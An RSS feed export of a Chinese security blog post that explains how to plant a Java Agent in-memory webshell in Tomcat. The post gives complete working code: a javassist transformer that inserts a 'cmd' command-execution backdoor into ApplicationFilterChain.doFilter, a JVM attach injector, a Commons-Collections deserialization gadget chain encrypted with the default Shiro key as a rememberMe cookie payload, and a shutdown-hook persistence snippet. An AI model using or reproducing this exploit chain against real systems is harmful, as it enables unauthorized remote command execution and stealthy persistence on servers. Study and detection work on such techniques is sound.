<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>内存shell &#8211; ChaBug安全</title>
	<atom:link href="/tags/%E5%86%85%E5%AD%98shell/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Thu, 01 Oct 2020 14:43:33 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>Java Agent实现反序列化注入内存shell</title>
		<link>/audit/1920.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 01 Oct 2020 14:43:33 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[agent]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[内存shell]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1920</guid>

					<description><![CDATA[简述内存shell Java内存shell有很多种，大致分为： 动态注册servlet 动态注册filter 动态注册listener 基于Java agent拦截修改关键类字节码...]]></description>
										<content:encoded><![CDATA[<h1>简述<span class="wpcom_tag_link"><a href="/tags/%e5%86%85%e5%ad%98shell" title="内存shell" target="_blank">内存shell</a></span></h1>
<p>Java内存<span class="wpcom_tag_link"><a href="/tags/shell" title="shell" target="_blank">shell</a></span>有很多种，大致分为：</p>
<ol>
<li>动态注册servlet</li>
<li>动态注册filter</li>
<li>动态注册listener</li>
<li>基于Java <span class="wpcom_tag_link"><a href="/tags/agent" title="agent" target="_blank">agent</a></span>拦截修改关键类字节码实现内存shell</li>
</ol>
<p>前三种方法在 <a class="wp-editor-md-post-content-link" href="https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w">《JSP Webshell那些事 &#8212; 攻击篇(下)》</a> 一文中均有讲解，但是前三种方法均需要对中间件大量调试，反射调用一步一步的链条，对于大型中间件比如weblogic这种比较麻烦，无法实现一套代码通用。</p>
<p>那么本文将要讲解的最后一种方法，通过拦截修改关键类的字节码，只需要寻找到关键类做处理即可，进而最大程度实现一套代码通用（理论上）。</p>
<h1>简单认识Java Agent</h1>
<p>在jdk的rt.jar包中存在一个<code><span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>.lang.instrument</code>包，该包提供了一些工具帮助开发人员在 Java 程序运行时，动态修改系统中的 Class 类型。其中，使用该软件包的一个关键组件就是 Javaagent。从名字上看，似乎是个 Java 代理之类的，而实际上，他的功能更像是一个Class 类型的转换器，他可以在运行时接受重新外部请求，对Class类型进行修改。</p>
<p>Javaagent是java命令的一个参数。参数 javaagent 可以用于指定一个 jar 包，并且对该 java 包有2个要求：<br />
1. 这个 jar 包的 <code>MANIFEST.MF</code> 文件必须指定 <code>Premain-Class</code> 项。<br />
2. <code>Premain-Class</code> 指定的那个类必须实现 premain() 方法。</p>
<p>JVM启动时会优先加载agent里面的东西，我们写一个简单的agent来看一下。</p>
<p>项目结构</p>
<pre><code class="language-bash line-numbers">└───src
    └───org
        └───chabug
                Agent.java
                DefineTransformer.java
</code></pre>
<p>org.chabug.Agent.java</p>
<pre><code class="language-java line-numbers">package org.chabug;

import java.lang.instrument.Instrumentation;

public class Agent {
    public static void premain(String agentArgs, Instrumentation inst) {
        System.out.println("agentArgs : " + agentArgs);
        inst.addTransformer(new DefineTransformer(), true);
    }
}
</code></pre>
<p>org.chabug.DefineTransformer.java</p>
<pre><code class="language-java line-numbers">package org.chabug;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class DefineTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className, Class&lt;?&gt; classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        System.out.println("premain load Class:" + className);
        return new byte[0];
    }
}
</code></pre>
<p>然后配置打包文件<code>srcMETA-INFMANIFEST.MF</code></p>
<pre><code class="language-yaml line-numbers">Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: org.chabug.Agent

</code></pre>
<p>idea打包为jar文件之后，创建一个新的类<code>org.chabug.Main</code>测试agent</p>
<pre><code class="language-java line-numbers">package org.chabug;

public class Main {
    public static void main(String[] args) {
        System.out.println("thisismain");
    }
}
</code></pre>
<p>idea设置运行时vm参数<code>-javaagent:outartifactsTestAgent_jarTestAgent.jar</code><br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/aabc9058-b9af-8553-d97b-974d8bcc5a82.png" alt="image.png" /></p>
<p>运行结果</p>
<pre><code class="language-text line-numbers">agentArgs : null
premain load Class:java/util/concurrent/ConcurrentHashMap$ForwardingNode
premain load Class:sun/misc/URLClassPath$JarLoader$2
premain load Class:java/util/jar/Attributes
premain load Class:java/util/jar/Manifest$FastInputStream
premain load Class:java/lang/StringCoding
premain load Class:java/lang/StringCoding$StringDecoder
premain load Class:java/util/jar/Attributes$Name
premain load Class:sun/misc/ASCIICaseInsensitiveComparator
premain load Class:com/intellij/rt/execution/application/AppMainV2$Agent
premain load Class:com/intellij/rt/execution/application/AppMainV2
premain load Class:com/intellij/rt/execution/application/AppMainV2$1
premain load Class:java/lang/reflect/InvocationTargetException
premain load Class:java/lang/NoSuchMethodException
premain load Class:java/net/Socket
premain load Class:java/net/InetSocketAddress
premain load Class:java/net/SocketAddress
premain load Class:java/net/InetAddress
premain load Class:java/net/InetSocketAddress$InetSocketAddressHolder
premain load Class:sun/security/action/GetBooleanAction
premain load Class:java/lang/invoke/MethodHandleImpl
premain load Class:java/net/InetAddress$1
premain load Class:java/lang/invoke/MethodHandleImpl$1
premain load Class:java/lang/invoke/MethodHandleImpl$2
premain load Class:java/util/function/Function
premain load Class:java/net/InetAddress$InetAddressHolder
premain load Class:java/net/InetAddress$Cache
premain load Class:java/net/InetAddress$Cache$Type
premain load Class:java/net/InetAddressImplFactory
premain load Class:java/lang/invoke/MethodHandleImpl$3
premain load Class:java/lang/invoke/MethodHandleImpl$4
premain load Class:java/lang/ClassValue
premain load Class:java/net/Inet6AddressImpl
premain load Class:java/lang/ClassValue$Entry
premain load Class:java/net/InetAddressImpl
premain load Class:java/lang/ClassValue$Identity
premain load Class:java/lang/ClassValue$Version
premain load Class:java/lang/invoke/MemberName$Factory
premain load Class:java/net/InetAddress$2
premain load Class:java/lang/invoke/MethodHandleStatics
premain load Class:sun/net/spi/nameservice/NameService
premain load Class:java/lang/invoke/MethodHandleStatics$1
premain load Class:java/net/Inet4Address
premain load Class:java/net/SocksSocketImpl
premain load Class:java/net/SocksConsts
premain load Class:sun/misc/PostVMInitHook
premain load Class:java/net/PlainSocketImpl
premain load Class:sun/misc/PostVMInitHook$2
premain load Class:java/net/AbstractPlainSocketImpl
premain load Class:jdk/internal/util/EnvUtils
premain load Class:sun/misc/PostVMInitHook$1
premain load Class:java/net/SocketImpl
premain load Class:java/net/SocketOptions
premain load Class:sun/usagetracker/UsageTrackerClient
premain load Class:java/net/AbstractPlainSocketImpl$1
premain load Class:java/util/concurrent/atomic/AtomicBoolean
premain load Class:sun/usagetracker/UsageTrackerClient$1
premain load Class:java/net/PlainSocketImpl$1
premain load Class:sun/usagetracker/UsageTrackerClient$4
premain load Class:sun/misc/FloatingDecimal
premain load Class:sun/usagetracker/UsageTrackerClient$2
premain load Class:sun/misc/FloatingDecimal$ExceptionalBinaryToASCIIBuffer
premain load Class:sun/misc/FloatingDecimal$BinaryToASCIIConverter
premain load Class:sun/usagetracker/UsageTrackerClient$3
premain load Class:sun/misc/FloatingDecimal$BinaryToASCIIBuffer
premain load Class:sun/misc/FloatingDecimal$1
premain load Class:sun/misc/FloatingDecimal$PreparedASCIIToBinaryBuffer
premain load Class:sun/misc/FloatingDecimal$ASCIIToBinaryConverter
premain load Class:sun/misc/FloatingDecimal$ASCIIToBinaryBuffer
premain load Class:java/net/DualStackPlainSocketImpl
premain load Class:java/lang/StringCoding$StringEncoder
premain load Class:java/net/Inet6Address
premain load Class:java/io/FileOutputStream$1
premain load Class:java/net/Inet6Address$Inet6AddressHolder
premain load Class:sun/launcher/LauncherHelper
premain load Class:java/net/SocksSocketImpl$3
premain load Class:sun/nio/cs/MS1252
premain load Class:java/net/ProxySelector
premain load Class:sun/nio/cs/SingleByte
premain load Class:sun/net/spi/DefaultProxySelector
premain load Class:sun/nio/cs/SingleByte$Decoder
premain load Class:sun/net/spi/DefaultProxySelector$1
premain load Class:sun/net/NetProperties
premain load Class:sun/net/NetProperties$1
premain load Class:org/chabug/Main
premain load Class:sun/launcher/LauncherHelper$FXHelper
premain load Class:java/util/Properties$LineReader
premain load Class:java/lang/Class$MethodArray
premain load Class:java/lang/Void
thisismain
premain load Class:java/lang/Shutdown
premain load Class:java/net/URI
premain load Class:java/lang/Shutdown$Lock
</code></pre>
<p>可以看到agent的<code>org.chabug.Agent#premain</code>优于Main方法而先被运行，并且在<code>org.chabug.DefineTransformer#transform</code>获取到了JVM加载的类。</p>
<p>那么思路回到内存shell的思路中，如果我们把这个agent加载到jvm中，那么就可以通过javassist进行字节码插桩，修改tomcat的filter实现类，从而实现内存马。</p>
<p>现在的问题就在于：</p>
<ol>
<li>javassist 应该修改哪个关键类？</li>
<li>如何指定运行时tomcat的<code>-javaagent</code>参数？</li>
<li>如何修改tomcat运行后已经加载的类？</li>
<li>如何通过<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>注入</li>
</ol>
<h1>寻找关键类</h1>
<p>tomcat filter内存shell有无数的分析文章，其中大部分都提到了一个关键类<code>org.apache.catalina.core.ApplicationFilterChain#doFilter</code><br />
<img src="/wp-content/uploads/2020/10/02f7b000-46b4-ebb6-208c-fbc57bd4fab2.png" alt="image.png" /></p>
<p>该方法有ServletRequest和ServletResponse两个参数，里面封装了请求的request和response。另外，internalDoFilter方法是自定义filter的入口，如果在这里拦截，那么filter既通用，又不影响正常业务。</p>
<p>来写agent</p>
<pre><code class="language-java line-numbers">package org.chabug;

import java.lang.instrument.Instrumentation;

public class MyAgent {
    // tomcat FilterChain
    public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    public static void agentmain(String args, Instrumentation inst) throws Exception {
        inst.addTransformer(new MyTransformer(), true);
        Class[] loadedClasses = inst.getAllLoadedClasses();

        for (int i = 0; i &lt; loadedClasses.length; ++i) {
            Class clazz = loadedClasses[i];
            if (clazz.getName().equals(ClassName)) {
                try {
                    inst.retransformClasses(new Class[]{clazz});
                } catch (Exception var9) {
                    var9.printStackTrace();
                }
            }
        }
//        System.out.println("agent done");
    }

    public static void premain(String args, Instrumentation inst) throws Exception {

    }
}
</code></pre>
<p>定义transform</p>
<pre><code class="language-java line-numbers">package org.chabug;

import javassist.*;

import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class MyTransformer implements ClassFileTransformer {
    public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    @Override
    public byte[] transform(ClassLoader loader, String className, Class&lt;?&gt; aClass, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        className = className.replace('/', '.');

        if (className.equals(ClassName)) {
//            System.out.println(":::::::::::::::::::find shiro ApplicationFilterChain:" + className);
            ClassPool cp = ClassPool.getDefault();
            if (aClass != null) {
                ClassClassPath classPath = new ClassClassPath(aClass);
                cp.insertClassPath(classPath);
            }
            CtClass cc;
            try {
                cc = cp.get(className);
                CtMethod m = cc.getDeclaredMethod("doFilter");
                m.insertBefore(" javax.servlet.ServletRequest req = request;n" +
                        "            javax.servlet.ServletResponse res = response;" +
                        "String cmd = req.getParameter("cmd");n" +
                        "if (cmd != null) {n" +
                        "Process process = Runtime.getRuntime().exec(cmd);n" +
                        "java.io.BufferedReader bufferedReader = new java.io.BufferedReader(n" +
                        "new java.io.InputStreamReader(process.getInputStream()));n" +
                        "StringBuilder stringBuilder = new StringBuilder();n" +
                        "String line;n" +
                        "while ((line = bufferedReader.readLine()) != null) {n" +
                        "stringBuilder.append(line + '\n');n" +
                        "}n" +
                        "res.getOutputStream().write(stringBuilder.toString().getBytes());n" +
                        "res.getOutputStream().flush();n" +
                        "res.getOutputStream().close();n" +
                        "}");
                byte[] byteCode = cc.toBytecode();
                cc.detach();
                return byteCode;
            } catch (NotFoundException | IOException | CannotCompileException e) {
                e.printStackTrace();
//                System.out.println("error:::::::::::::::::::::" + e.getMessage());
            }
        }

        return new byte[0];
    }
}
</code></pre>
<h1>如何指定<code>-javaagent</code>参数</h1>
<p>tomcat运行前我们无法控制命令行参数，但是运行时JVM提供了<code>com.sun.tools.attach.VirtualMachine</code>的api，可以通过这个类attach jvm，然后通过<code>loadAgent()</code>函数把agent加载进去。</p>
<p>然后在这里又碰到了坑，<code>com.sun.tools.attach.VirtualMachine</code>这个类是JDK的<code>C:Program FilesJavajdk1.8.0_251libtools.jar</code>包中，在tomcat运行时是jre环境，获取不到这个类。我的办法是通过URLClassLoader加载<code>java.home</code>拼接出来的jar包路径，然后反射获取类和方法。</p>
<p>实现代码</p>
<pre><code class="language-java line-numbers">package org.chabug;

public class Main {
    public static void main(String[] args) throws Exception {
        if (args.length == 0) {
            return;
        }
        String agentPath = args[0];
        try {
            java.io.File toolsJar = new java.io.File(System.getProperty("java.home").replaceFirst("jre", "lib") + java.io.File.separator + "tools.jar");
            java.net.URLClassLoader classLoader = (java.net.URLClassLoader) java.lang.ClassLoader.getSystemClassLoader();
            java.lang.reflect.Method add = java.net.URLClassLoader.class.getDeclaredMethod("addURL", new java.lang.Class[]{java.net.URL.class});
            add.setAccessible(true);
            add.invoke(classLoader, new Object[]{toolsJar.toURI().toURL()});
            Class&lt;?&gt; MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
            Class&lt;?&gt; MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
            java.lang.reflect.Method list = MyVirtualMachine.getDeclaredMethod("list", new java.lang.Class[]{});
            java.util.List&lt;Object&gt; invoke = (java.util.List&lt;Object&gt;) list.invoke(null, new Object[]{});
//            System.out.println(invoke);

            for (int i = 0; i &lt; invoke.size(); i++) {
                Object o = invoke.get(i);
                java.lang.reflect.Method displayName = o.getClass().getSuperclass().getDeclaredMethod("displayName", new Class[]{});
                Object name = displayName.invoke(o, new Object[]{});
                System.out.println(String.format("find jvm process name:[[[" +
                        "%s" +
                        "]]]", name.toString()));
                if (name.toString().contains("org.apache.catalina.startup.Bootstrap")) {
                    java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach", new Class[]{MyVirtualMachineDescriptor});
                    Object machine = attach.invoke(MyVirtualMachine, new Object[]{o});
                    java.lang.reflect.Method loadAgent = machine.getClass().getSuperclass().getSuperclass().getDeclaredMethod("loadAgent", new Class[]{String.class});
                    loadAgent.invoke(machine, new Object[]{agentPath});
                    java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach", new Class[]{});
                    detach.invoke(machine, new Object[]{});
                    System.out.println("inject tomcat done, break.");
                    System.out.println("check url http://localhost:8080/?cmd=whoami");
                    break;
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
</code></pre>
<p>运行这个类，传入agentPath就可以注入agent了。</p>
<p>在这里还碰到一个坑:<code>VirtualMachine.list()</code>获取为空，后来发现双击tomcat的startup.bat启动，在jconsole中也找不到jvm进程，然后一顿乱试发现通过命令行运行startup.bat就可以了。</p>
<h1>如何修改tomcat运行后已经加载的类</h1>
<p>其实这个问题在上面写agent的时候已经解决了，关键代码</p>
<pre><code class="language-java line-numbers">Class[] loadedClasses = inst.getAllLoadedClasses();

for (int i = 0; i &lt; loadedClasses.length; ++i) {
    Class clazz = loadedClasses[i];
    if (clazz.getName().equals(ClassName)) {
        try {
            inst.retransformClasses(new Class[]{clazz});
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
</code></pre>
<p>通过<code>Instrumentation</code>的<code>getAllLoadedClasses()</code>就能拿到tomcat运行后已经加载的类，再通过<code>retransformClasses()</code>重新转换下就可以了。</p>
<h1>如何通过反序列化注入</h1>
<p>我这里是shiro550 tomcat9的环境，根据 https://github.com/feihong-cs/ShiroExploit 的ysoserial工具抠出来CC10的链条，改了改。</p>
<pre><code class="language-java line-numbers">package org.chabug.demo;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.util.Reflections;

import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.lang.reflect.Field;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

// 依赖 commons-collections:commons-collections:3.2.1
// 依赖于 ysoserial javassist
public class CC10 {

    static {
        System.setProperty("jdk.xml.enableTemplatesImplDeserialization", "true");
        System.setProperty("java.rmi.server.useCodebaseOnly", "false");
    }

    public static Object createTemplatesImpl(String command) throws Exception {
        return Boolean.parseBoolean(System.getProperty("properXalan", "false")) ? createTemplatesImpl(command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")) : createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
    }

    public static &lt;T&gt; T createTemplatesImpl(String agentPath, Class&lt;T&gt; tplClass, Class&lt;?&gt; abstTranslet, Class&lt;?&gt; transFactory) throws Exception {
        T templates = tplClass.newInstance();
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        CtClass clazz = pool.get(StubTransletPayload.class.getName());
        String cmd = String.format(
                "        try {n" +
                        "java.io.File toolsJar = new java.io.File(System.getProperty("java.home").replaceFirst("jre", "lib") + java.io.File.separator + "tools.jar");n" +
                        "java.net.URLClassLoader classLoader = (java.net.URLClassLoader) java.lang.ClassLoader.getSystemClassLoader();n" +
                        "java.lang.reflect.Method add = java.net.URLClassLoader.class.getDeclaredMethod("addURL", new java.lang.Class[]{java.net.URL.class});n" +
                        "add.setAccessible(true);n" +
                        "            add.invoke(classLoader, new Object[]{toolsJar.toURI().toURL()});n" +
                        "Class/*&lt;?&gt;*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");n" +
                        "            Class/*&lt;?&gt;*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");" +
                        "java.lang.reflect.Method list = MyVirtualMachine.getDeclaredMethod("list", null);n" +
                        "            java.util.List/*&lt;Object&gt;*/ invoke = (java.util.List/*&lt;Object&gt;*/) list.invoke(null, null);" +
                        "for (int i = 0; i &lt; invoke.size(); i++) {" +
                        "Object o = invoke.get(i);n" +
                        "                java.lang.reflect.Method displayName = o.getClass().getSuperclass().getDeclaredMethod("displayName", null);n" +
                        "                Object name = displayName.invoke(o, null);n" +
                        "if (name.toString().contains("org.apache.catalina.startup.Bootstrap")) {" +
                        "                    java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach", new Class[]{MyVirtualMachineDescriptor});n" +
                        "                    Object machine = attach.invoke(MyVirtualMachine, new Object[]{o});n" +
                        "                    java.lang.reflect.Method loadAgent = machine.getClass().getSuperclass().getSuperclass().getDeclaredMethod("loadAgent", new Class[]{String.class});n" +
                        "                    loadAgent.invoke(machine, new Object[]{"%s"});n" +
                        "                    java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach", null);n" +
                        "                    detach.invoke(machine, null);n" +
                        "                    break;n" +
                        "}" +
                        "}" +
                        "} catch (Exception e) {n" +
                        "            e.printStackTrace();n" +
                        "        }"
                , agentPath.replaceAll("\\", "\\\\").replaceAll(""", "\""));

        clazz.makeClassInitializer().insertAfter(cmd);
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);
        byte[] classBytes = clazz.toBytecode();
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, classAsBytes(Foo.class)});
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }

    public static String classAsFile(Class&lt;?&gt; clazz) {
        return classAsFile(clazz, true);
    }

    public static String classAsFile(Class&lt;?&gt; clazz, boolean suffix) {
        String str;
        if (clazz.getEnclosingClass() == null) {
            str = clazz.getName().replace(".", "/");
        } else {
            str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
        }

        if (suffix) {
            str = str + ".class";
        }

        return str;
    }

    public static byte[] classAsBytes(Class&lt;?&gt; clazz) {
        try {
            byte[] buffer = new byte[1024];
            String file = classAsFile(clazz);
            InputStream in = CC10.class.getClassLoader().getResourceAsStream(file);
            if (in == null) {
                throw new IOException("couldn't find '" + file + "'");
            } else {
                ByteArrayOutputStream out = new ByteArrayOutputStream();

                int len;
                while ((len = in.read(buffer)) != -1) {
                    out.write(buffer, 0, len);
                }

                return out.toByteArray();
            }
        } catch (IOException var6) {
            throw new RuntimeException(var6);
        }
    }


    public static void main(String[] args) throws Exception {
        // this is your agent path
        String command = "E:\code\java\MyAgent\out\artifacts\MyAgent_jar\MyAgent.jar";
        Object templates = createTemplatesImpl(command);
        InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformer);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);
        HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;

        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException var17) {
            f = HashSet.class.getDeclaredField("backingMap");
        }

        Reflections.setAccessible(f);
        HashMap innimpl = null;
        innimpl = (HashMap) f.get(map);
        Field f2 = null;

        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException var16) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }

        Reflections.setAccessible(f2);
        Object[] array = new Object[0];
        array = (Object[]) ((Object[]) f2.get(innimpl));
        Object node = array[0];
        if (node == null) {
            node = array[1];
        }

        Field keyField = null;

        try {
            keyField = node.getClass().getDeclaredField("key");
        } catch (Exception var15) {
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }

        Reflections.setAccessible(keyField);
        keyField.set(node, entry);
        Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

        byte[] bytes = Serializables.serializeToBytes(map);
        String key = "kPH+bIxk5D2deZiIxcaaaA==";
        String rememberMe = EncryptUtil.shiroEncrypt(key, bytes);
        System.out.println(rememberMe);
    }

    public static class Foo implements Serializable {
        private static final long serialVersionUID = 8207363842866235160L;

        public Foo() {
        }
    }

    public static class StubTransletPayload extends AbstractTranslet implements Serializable {
        private static final long serialVersionUID = -5971610431559700674L;

        public StubTransletPayload() {
        }

        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
        }

        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
        }
    }


}

class Serializables {
    public static byte[] serializeToBytes(final Object obj) throws Exception {
        final ByteArrayOutputStream out = new ByteArrayOutputStream();
        final ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
        objOut.flush();
        objOut.close();
        return out.toByteArray();
    }


    public static Object deserializeFromBytes(final byte[] serialized) throws Exception {
        final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
        final ObjectInputStream objIn = new ObjectInputStream(in);
        return objIn.readObject();
    }

    public static void serializeToFile(String path, Object obj) throws Exception {
        FileOutputStream fos = new FileOutputStream("object");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        //writeObject()方法将obj对象写入object文件
        os.writeObject(obj);
        os.close();
    }

    public static Object serializeFromFile(String path) throws Exception {
        FileInputStream fis = new FileInputStream(path);
        ObjectInputStream ois = new ObjectInputStream(fis);
        // 通过Object的readObject()恢复对象
        Object obj = ois.readObject();
        ois.close();
        return obj;
    }

}


class EncryptUtil {
    private static final String ENCRY_ALGORITHM = "AES";
    private static final String CIPHER_MODE = "AES/CBC/PKCS5Padding";
    private static final byte[] IV = "aaaaaaaaaaaaaaaa".getBytes();     // 16字节IV

    public EncryptUtil() {
    }

    public static byte[] encrypt(byte[] clearTextBytes, byte[] pwdBytes) {
        try {
            SecretKeySpec keySpec = new SecretKeySpec(pwdBytes, ENCRY_ALGORITHM);
            Cipher cipher = Cipher.getInstance(CIPHER_MODE);
            IvParameterSpec iv = new IvParameterSpec(IV);
            cipher.init(1, keySpec, iv);
            byte[] cipherTextBytes = cipher.doFinal(clearTextBytes);
            return cipherTextBytes;
        } catch (NoSuchPaddingException var6) {
            var6.printStackTrace();
        } catch (NoSuchAlgorithmException var7) {
            var7.printStackTrace();
        } catch (BadPaddingException var8) {
            var8.printStackTrace();
        } catch (IllegalBlockSizeException var9) {
            var9.printStackTrace();
        } catch (InvalidKeyException var10) {
            var10.printStackTrace();
        } catch (Exception var11) {
            var11.printStackTrace();
        }

        return null;
    }

    public static String shiroEncrypt(String key, byte[] objectBytes) {
        byte[] pwd = Base64.decode(key);
        byte[] cipher = encrypt(objectBytes, pwd);

        assert cipher != null;

        byte[] output = new byte[pwd.length + cipher.length];
        byte[] iv = IV;
        System.arraycopy(iv, 0, output, 0, iv.length);
        System.arraycopy(cipher, 0, output, pwd.length, cipher.length);
        return Base64.encode(output);
    }
}
</code></pre>
<p>在javassist插桩的时候碰到很多坑，比如泛型要用<code>/**/</code>包起来，反射的可变参数的处理等等，不一一细讲，参考我的代码就行了。</p>
<h1>效果</h1>
<p><img src="/wp-content/uploads/2020/10/21f519ec-a731-13c4-eb06-60d03b75fc67.gif" alt="shell.gif" /></p>
<p>项目地址：https://github.com/Y4er/javaagent-tomcat-memshell</p>
<h1>思考</h1>
<p>写到这里又看了一些文章，发现了一些问题。</p>
<h2>内存shell复活</h2>
<p>@rebeyond 师傅的memShell项目实现了内存shell复活，原理是通过设置Java虚拟机的关闭钩子ShutdownHook来达到这个目的，但是会有一个jar包循环等待jvm进程起来，更敏感，我就没实现这个东西，代码贴出来</p>
<pre><code class="language-java line-numbers">public static void persist() {
     try {
         Thread t = new Thread() {
             public void run() {
                 try {
                     writeFiles("inject.jar",Agent.injectFileBytes);
                     writeFiles("agent.jar",Agent.agentFileBytes);
                     startInject();
                 } catch (Exception e) {

                 }
             }
         };
         t.setName("shutdown Thread");
         Runtime.getRuntime().addShutdownHook(t);
     } catch (Throwable t) {
     }
}
</code></pre>
<p>JVM关闭前，会先调用writeFiles把inject.jar和agent.jar写到磁盘上，然后调用startInject，startInject通过Runtime.exec启动<code>java -jar inject.jar</code>。</p>
<h2>文件落地并且被锁定</h2>
<p>用javaagent的形式实现的内存shell，你需要落地一个agent进去，加载agent之后jar不能被删除，而落地agent会不会更敏感？</p>
<p>与其落地文件为什么不直接落地jsp shell，获取对于mvc和springboot这种有点作用，但是内存shell的意义确实被削弱了。</p>
<h2>通用性</h2>
<p>只需要寻找关键类即可，对于tomcat、weblogic这种还算通用，完全可以实现一个agent.jar通杀。</p>
<h2>关键类寻找</h2>
<p>如果关键类找不对，或者错了几个参数的命名，那么中间件正常处理filter的逻辑很可能发生错误，中间件很可能被打挂。虽然可以本地环境调试，但是每个发行版不同、补丁数的不同所带来的不稳定因素还是很大的。</p>
<h2>结论</h2>
<p>所以个人而言，agent类型的内存shell只能作为内存shell的一种开拓性思路，实际环境更应该倾向于servlet、filter这种内存shell，重在稳定。</p>
<h1>参考</h1>
<ol>
<li>https://www.cnblogs.com/rebeyond/p/9686213.html</li>
<li>https://github.com/rebeyond/memShell</li>
<li>https://www.cnblogs.com/rickiyang/p/11368932.html</li>
<li>https://github.com/Y4er/javaagent-tomcat-memshell</li>
</ol>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Spring Cloud SnakeYAML 一键注册内存cmd shell和reGeorg</title>
		<link>/web/1913.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 24 Sep 2020 11:30:03 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[java]]></category>
